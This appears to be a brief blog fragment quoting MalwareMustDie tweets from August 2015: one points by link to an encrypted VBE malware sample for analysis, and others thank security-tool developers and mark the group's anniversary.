
Sample for analysis learning purpose

The next challenge...encryption VBE:

This will bring VBE #malware infecting script into next level: the encryption http://t.co/4OYjZsI8Bg #MalwareMustDiepic.twitter.com/oAGqod50vQ

— ☩MalwareMustDie (@MalwareMustDie) August 29, 2015

Kudos the cool coders of great tools & OS we use:

Thanks: @matalaz@virustotal@radareorg@ochsenmeier@WiresharkNews@freebsd@ThePSF for 3years helping #MalwareMustDie w/your development!

— ☩MalwareMustDie (@MalwareMustDie) 2015, 8月 28

Happy anniversary to MMD friends! Stay safe! #MalwareMustDie!